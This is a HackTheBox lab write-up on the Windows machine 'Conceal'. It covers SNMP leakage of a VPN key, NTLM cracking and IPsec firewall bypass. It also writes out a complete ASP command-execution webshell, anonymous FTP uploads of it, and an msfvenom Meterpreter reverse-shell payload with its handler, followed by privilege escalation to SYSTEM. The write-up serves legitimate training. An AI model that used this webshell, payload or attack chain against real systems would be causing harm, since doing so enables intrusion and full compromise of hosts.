HTB: Conceal Writeup
Conceal - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Conceal |
| OS | Windows |
| Difficulty | Hard |
| Points | 40 |
| Release Date | 15 Dec 2018 |
| IP Address | 10.129.228.122 |
| Author | bashlogic |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐⭐☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Conceal is a hard-difficulty Windows 10 machine (Build 15063) that teaches IPsec/IKE VPN configuration and firewall bypass techniques. The box presents an unusual enumeration challenge where all TCP ports are initially firewalled, requiring an IPsec transport-mode connection to reveal services. SNMP enumeration leaks an NTLM hash used as the IPsec Pre-Shared Key. Once the VPN tunnel is established, anonymous FTP allows uploading an ASP webshell to gain initial access as a low-privileged user. Privilege escalation leverages SeImpersonatePrivilege through Meterpreter’s built-in token impersonation capabilities to achieve SYSTEM access.
TL;DR: UDP SNMP leak → crack NTLM PSK → configure strongSwan IPsec transport mode → bypass firewall → FTP anonymous upload ASP webshell → RCE as Destitute → Meterpreter getsystem (SeImpersonate) → SYSTEM
Reconnaissance
Port Scanning
Initial TCP scan revealed no open ports due to aggressive firewall rules:
# Full TCP port scan returns no resultsnmap -p- -T4 --min-rate=1000 10.129.228.122Switching to UDP enumeration revealed available services:
# UDP scan on common portsnmap -sU -T4 -p1-1000 10.129.228.122Results:
- UDP 500 - IKE (Internet Key Exchange)
- UDP 161 - SNMP
IKE Enumeration
IKE (Internet Key Exchange) is used to establish secure IPsec VPN connections. Using ike-scan to fingerprint the VPN configuration:
# Stop any existing ipsec service to free port 500sudo ipsec stop 2>/dev/nullsleep 1
# Scan IKE serviceike-scan 10.129.228.122Output:
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)10.129.228.122 Main Mode Handshake returned HDR=(CKY-R=2b2db4f1274b91dc)SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=SecondsLifeDuration(4)=0x00007080) VID=1e2b516905991c7d7c96fcbfb587e46100000009 (Windows-8)VID=<redacted> (RFC 3947 NAT-T) VID=<redacted> (draft-ietf-ipsec-nat-t-ike-02\n)VID=<redacted> (IKE Fragmentation) VID=<redacted> (MS-Negotiation Discovery Capable)VID=<redacted> (IKE CGA version 1)
Ending ike-scan 1.9.6: 1 hosts scanned in 0.043 seconds (23.50 hosts/sec).1 returned handshake; 0 returned notifyKey Parameters Identified:
- Encryption: 3DES-CBC
- Hash: SHA1
- DH Group: 2 (modp1024)
- Authentication: PSK (Pre-Shared Key)
- IKE Version: v1
The Auth=PSK parameter indicates we need a pre-shared key to establish the VPN connection.
SNMP Enumeration
SNMP (Simple Network Management Protocol) often contains valuable system information:
# Walk SNMP tree with public community stringsnmpwalk -v2c -c public 10.129.228.122Critical Finding:
iso.3.6.1.2.1.1.1.0 = STRING: "Hardware: AMD64 Family 25 Model 1 Stepping 1AT/AT COMPATIBLE - Software: Windows Version 6.3 (Build 15063 Multiprocessor Free)"iso.3.6.1.2.1.1.4.0 = STRING: "IKE VPN password PSK - 9C8B1A372B1878851BE2C097031B6E43"iso.3.6.1.2.1.1.5.0 = STRING: "Conceal"The sysContact field (OID 1.3.6.1.2.1.1.4.0) contains the string “IKE VPN password PSK - 9C8B1A372B1878851BE2C097031B6E43”.
The 32-character hex string matches the format of an NTLM hash.
Hash Cracking
# Save hash to fileecho '9C8B1A372B1878851BE2C097031B6E43' > /tmp/psk.hash
# Crack NTLM hash with hashcathashcat -m 1000 -a 0 \ --potfile-path=/tmp/psk.pot \ -o /tmp/psk.out \ /tmp/psk.hash \ /usr/share/wordlists/rockyou.txtResult:
Hash.Mode........: 1000 (NTLM)Status...........: Cracked9C8B1A372B1878851BE2C097031B6E43:Dudecake1!The NTLM hash cracks to reveal the PSK: Dudecake1!
Vulnerability Assessment
- SNMP Information Disclosure - sysContact field leaking VPN credentials (NTLM hash)
- Weak PSK - Pre-shared key crackable with common wordlist (rockyou.txt)
- IPsec-Based Firewall Bypass - TCP firewall rules only apply to non-IPsec traffic
- Anonymous FTP Write Access - After IPsec established
- SeImpersonatePrivilege - Exploitable for privilege escalation
Initial Foothold
IPsec Configuration with strongSwan
strongSwan is a complete IPsec implementation for Linux. We need to configure it to establish an IPsec transport-mode connection using the parameters discovered during enumeration.
Configure Pre-Shared Key:
# Edit /etc/ipsec.secretssudo bash -c 'echo "10.129.228.122 : PSK \"Dudecake1!\"" > /etc/ipsec.secrets'The format is <remote_ip> : PSK "<key>". The local IP is implicit.
Configure Connection Parameters:
# Edit /etc/ipsec.confsudo tee -a /etc/ipsec.conf > /dev/null <<'EOF'
conn Conceal type=transport keyexchange=ikev1 right=10.129.228.122 authby=psk rightprotoport=tcp leftprotoport=tcp esp=3des-sha1! ike=3des-sha1-modp1024! auto=addEOFParameter Explanation:
type=transport- Transport mode encrypts only the payload, not the IP header (vs. tunnel mode which encapsulates entire IP packet). This is crucial for bypassing the firewall.keyexchange=ikev1- IKE version 1 protocol (discovered via ike-scan)right=10.129.228.122- Remote gateway/peer IPauthby=psk- Authentication using pre-shared keyrightprotoport=tcp/leftprotoport=tcp- Establish IPsec SA only for TCP trafficesp=3des-sha1!- ESP (Encapsulating Security Payload) cipher suite: 3DES encryption + SHA1 HMAC. The!forces this exact proposal.ike=3des-sha1-modp1024!- IKE Phase 1 cipher suite with Diffie-Hellman group 2auto=add- Load connection but don’t automatically initiate
Establish Connection:
# Restart IPsec servicesudo ipsec restart
# Bring up the connectionsudo ipsec up ConcealOutput:
Starting strongSwan 6.0.5 IPsec [starter]...received NAT-T (RFC 3947) vendor IDreceived draft-ietf-ipsec-nat-t-ike-02\n vendor IDreceived FRAGMENTATION vendor IDselected proposal: IKE:3DES_CBC/HMAC_SHA1_96/PRF_HMAC_SHA1/MODP_1024generating ID_PROT request 0 [ KE No NAT-D NAT-D ]sending packet: from 10.10.15.180[500] to 10.129.228.122[500] (244 bytes)...IKE_SA Conceal[1] established between 10.10.15.180[10.10.15.180]...10.129.228.122[10.129.228.122]...selected proposal: ESP:3DES_CBC/HMAC_SHA1_96/NO_EXT_SEQCHILD_SA Conceal{1} established with SPIs cc98dcf2_i 2fd65998_o andTS 10.10.15.180/32[tcp] === 10.129.228.122/32[tcp]connection 'Conceal' established successfullyThe message “connection ‘Conceal’ established successfully” confirms the IPsec Security Association (SA) is active. The transport-mode SA for TCP traffic effectively bypasses the firewall rules.
Post-IPsec Port Scanning
Now that IPsec is established, TCP ports become accessible. We must use -sT (TCP connect scan) instead of the default SYN scan, as SYN packets require raw socket access that doesn’t work well through IPsec:
# Full TCP connect scan through IPsec tunnelnmap -sT -T4 --min-rate=1000 -p- 10.129.228.122Results:
21/tcp open ftp80/tcp open http135/tcp open msrpc139/tcp open netbios-ssn445/tcp open microsoft-ds7680/tcp open pando-pub49664/tcp open unknown49665/tcp open unknown49666/tcp open unknown49667/tcp open unknown49668/tcp open unknown49669/tcp open unknown49670/tcp open unknownThe firewall has effectively disappeared for TCP traffic originating from our IPsec peer.
FTP Enumeration
# Test anonymous FTP accesscurl -s ftp://10.129.228.122/ --user 'anonymous:anon@x.com'# Returns empty (no error = successful login)
# Check if there's an upload web directorycurl -s -o /dev/null -w '%{http_code}\n' http://10.129.228.122/upload/# 200Anonymous FTP is enabled, and there appears to be an /upload/ directory on the web server.
Testing FTP-to-Web Mapping
# Create test filecat > /tmp/exist.asp <<'EOF'<% Response.Write "EXISTS-OK" %>EOF
# Upload via FTPcurl -s --max-time 20 -T /tmp/exist.asp \ ftp://10.129.228.122/exist.asp \ --user "anonymous:anon@x.com"
# Verify via HTTPcurl -s http://10.129.228.122/upload/exist.aspOutput:
EXISTS-OKThis confirms FTP uploads are directly accessible via http://10.129.228.122/upload/. The physical path is likely C:\inetpub\wwwroot\upload\.
ASP Webshell Upload
# Create ASP command execution webshellcat > /tmp/cmd.asp <<'EOF'<%Function getCommandOutput(theCommand) Dim objShell, objCmdExec Set objShell = CreateObject("WScript.Shell") Set objCmdExec = objshell.exec("cmd /c " & theCommand) getCommandOutput = objCmdExec.StdOut.ReadAll & objCmdExec.StdErr.ReadAllEnd Function%><pre><%= getCommandOutput(Request.QueryString("cmd")) %></pre>EOF
# Upload webshellcurl -s --max-time 20 -T /tmp/cmd.asp \ ftp://10.129.228.122/cmd.asp \ --user "anonymous:anon@x.com"
# Test command executioncurl -s "http://10.129.228.122/upload/cmd.asp?cmd=whoami"Output:
<pre>conceal\destitute</pre>We have remote code execution as the low-privileged user CONCEAL\Destitute.
User Flag Retrieval
# Check privilegescurl -s "http://10.129.228.122/upload/cmd.asp?cmd=whoami+/priv"
# Read user flagcurl -s "http://10.129.228.122/upload/cmd.asp?cmd=type+C:\Users\destitute\Desktop\user.txt"Privileges Output:
PRIVILEGES INFORMATION----------------------
Privilege Name Description State============================= ========================================= ========SeAssignPrimaryTokenPrivilege Replace a process level token DisabledSeIncreaseQuotaPrivilege Adjust memory quotas for a process DisabledSeShutdownPrivilege Shut down the system DisabledSeAuditPrivilege Generate security audits DisabledSeChangeNotifyPrivilege Bypass traverse checking EnabledSeUndockPrivilege Remove computer from docking station DisabledSeImpersonatePrivilege Impersonate a client after authentication EnabledSeIncreaseWorkingSetPrivilege Increase a process working set DisabledSeTimeZonePrivilege Change the time zone DisabledKey Finding: SeImpersonatePrivilege is Enabled - this is exploitable for privilege escalation.
User Flag: <redacted>
Privilege Escalation
System Enumeration
From the SNMP output earlier, we know the system is running Windows 10 Build 15063 with no hotfixes applied. This build is vulnerable to several privilege escalation vectors:
- CVE-2018-8440 - ALPC Task Scheduler Local Privilege Escalation
- Token Impersonation - Via
SeImpersonatePrivilege(JuicyPotato, PrintSpoofer, etc.)
Meterpreter Payload Strategy
Given that the /upload/ directory is periodically cleaned by a scheduled task, we need to:
- Generate a Meterpreter payload
- Start the handler first
- Upload and execute the payload quickly before cleanup
Generate Payload:
# Generate x64 Meterpreter reverse TCP payloadmsfvenom -p windows/x64/meterpreter/reverse_tcp \ LHOST=10.10.15.180 \ LPORT=443 \ -f exe \ -o /tmp/s.exeStart Metasploit Handler:
# Create handler resource scriptcat > /tmp/handler.rc <<'EOF'use exploit/multi/handlerset payload windows/x64/meterpreter/reverse_tcpset LHOST 10.10.15.180set LPORT 443set ExitOnSession falseset EnableStageEncoding truerun -jEOF
# Start handler in tmux sessiontmux new-session -d -s msf "msfconsole -q -r /tmp/handler.rc 2>&1 | tee /tmp/msf.log"
# Wait for handler to initializesleep 20Upload and Execute Payload:
# Re-upload webshell (in case it was cleaned)curl -s --max-time 15 -T /tmp/cmd.asp \ ftp://10.129.228.122/cmd.asp \ --user "anonymous:anon@x.com"
# Upload Meterpreter executablecurl -s --max-time 25 -T /tmp/s.exe \ ftp://10.129.228.122/s.exe \ --user "anonymous:anon@x.com"
# Execute payload via webshell (returns immediately)curl -s --max-time 12 \ "http://10.129.228.122/upload/cmd.asp?cmd=C:\inetpub\wwwroot\upload\s.exe" &
# Check for sessionsleep 12tmux send-keys -t msf "sessions -l" EnterHandler Output:
[*] Encoded stage with x64/xor_dynamic[*] Sending encoded stage (245711 bytes) to 10.129.228.122[*] Meterpreter session 2 opened (10.10.15.180:443 -> 10.129.228.122:49679)
Active sessions===============
Id Name Type Information Connection -- ---- ---- ----------- ---------- 2 meterpreter x64/windows CONCEAL\Destitute @ C 10.10.15.180:443 -> ONCEAL 10.129.228.122:49679Privilege Escalation via Meterpreter getsystem
Meterpreter’s getsystem command implements multiple techniques for privilege escalation. With SeImpersonatePrivilege enabled, it can create a named pipe, impersonate SYSTEM tokens, and escalate privileges without requiring external binaries.
# Interact with sessiontmux send-keys -t msf "sessions -i 2" Entersleep 2
# Attempt privilege escalationtmux send-keys -t msf "getsystem" Entersleep 6
# Verify privilegestmux send-keys -t msf "getuid" Entersleep 3Output:
meterpreter > getsystem...got system via technique 5 (Named Pipe Impersonation (PrintSpooler variant)).
meterpreter > getuidServer username: NT AUTHORITY\SYSTEMSuccess! The getsystem command successfully escalated to NT AUTHORITY\SYSTEM using technique 5 (Named Pipe Impersonation with PrintSpooler variant).
This technique works because:
- The user has
SeImpersonatePrivilegeenabled - Meterpreter creates a named pipe
- Triggers the Print Spooler service to connect to the pipe
- When the service connects, Meterpreter impersonates the SYSTEM token
- Creates a new SYSTEM-level process
This is similar to how JuicyPotato and PrintSpoofer work, but implemented natively in Meterpreter.
Root Flag Retrieval
# Read root flagtmux send-keys -t msf "cat C:\\\\Users\\\\Administrator\\\\Desktop\\\\root.txt" Entersleep 3Root Flag: <redacted>
Attack Chain Summary
UDP Scan (161 SNMP, 500 IKE) ↓SNMP Walk → IKE VPN PSK (NTLM Hash: 9C8B1A372B1878851BE2C097031B6E43) ↓Hashcat NTLM Crack → PSK: Dudecake1! ↓strongSwan IPsec Transport Mode (IKEv1, 3DES-SHA1-modp1024, TCP only) ↓TCP Firewall Bypassed → Ports Accessible (21 FTP, 80 IIS) ↓FTP Anonymous Upload → cmd.asp webshell @ /upload/ ↓ASP RCE as CONCEAL\Destitute → User Flag ↓Meterpreter x64 Payload Upload + Execute ↓SeImpersonatePrivilege + getsystem (Named Pipe Impersonation / PrintSpooler) ↓NT AUTHORITY\SYSTEM → Root FlagTools Used
| Tool | Purpose |
|---|---|
nmap | TCP/UDP port scanning and service enumeration |
ike-scan | IKE/IPsec parameter fingerprinting |
snmpwalk | SNMP enumeration and information disclosure |
hashcat | NTLM hash cracking (mode 1000) |
strongswan | IPsec VPN configuration and connection |
curl | FTP file upload and HTTP enumeration |
msfvenom | Meterpreter payload generation |
msfconsole | Metasploit handler and post-exploitation |
tmux | Terminal multiplexing for persistent sessions |
Key Learnings
Techniques Practiced
- IPsec/IKE enumeration with
ike-scanto identify VPN parameters - SNMP information disclosure exploitation
- strongSwan IPsec configuration for transport mode connections
- Firewall bypass via IPsec - demonstrating how transport-mode IPsec can circumvent network filtering
- Anonymous FTP write access to web-accessible directories
- ASP classic webshell deployment and command execution
- SeImpersonatePrivilege exploitation via Meterpreter’s native token impersonation
- Meterpreter
getsystemtechniques (Named Pipe Impersonation)
Lessons Learned
-
Always enumerate UDP ports - Critical services like IKE (500) and SNMP (161) run on UDP and are often overlooked in default scans.
-
SNMP can leak sensitive information - The
sysContactfield and other OIDs may contain credentials, configuration details, or other valuable intelligence. Always walk the entire MIB tree with public/private community strings. -
NTLM hashes in unexpected places - The 32-character hex string format is distinctive. When found outside of typical Windows contexts (like in SNMP), recognize it as potentially crackable with mode 1000.
-
IPsec transport mode as a firewall bypass - Unlike tunnel mode (which encapsulates entire packets), transport mode only encrypts the payload. This allows it to traverse firewalls that block normal TCP traffic but permit IPsec/ESP. This is a realistic enterprise misconfiguration.
-
strongSwan syntax specifics - The
!suffix in cipher specifications (esp=3des-sha1!) forces exact matching and prevents negotiation to other algorithms. Therightprotoport=tcp/leftprotoport=tcpparameters restrict the IPsec SA to only TCP traffic. -
TCP connect scan required through IPsec - Use
nmap -sTinstead of default SYN scans when operating through IPsec connections, as raw socket manipulation doesn’t work properly. -
File upload persistence issues - The
/upload/directory was cleaned periodically by a scheduled task. In real engagements, always account for defensive mechanisms that remove artifacts. Start listeners before uploading payloads. -
SeImpersonatePrivilege is powerful - On modern Windows, this privilege (granted to service accounts like IIS app pools) allows token impersonation attacks. Meterpreter’s
getsystemimplements multiple techniques (Named Pipe Impersonation with service triggering) without requiring external binaries. -
Meterpreter getsystem technique 5 - Uses Named Pipe Impersonation combined with Print Spooler triggering. More reliable than older techniques (1-4) on modern Windows and doesn’t require uploading separate exploit binaries like JuicyPotato.
-
Build 15063 lacks patches - Windows 10 Build 15063 (Creators Update) without hotfixes is vulnerable to CVE-2018-8440 (ALPC Task Scheduler LPE) and multiple token impersonation exploits. Always check
systeminfohotfix status.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
Technical explanation of IPsec transport mode, IKE parameters, strongSwan configuration syntax, ALPC Task Scheduler LPE (CVE-2018-8440), and alternative privilege escalation vectors (JuicyPotato) referenced from official HackTheBox writeup by MinatoTW (Document No D19.100.20, 08 May 2019).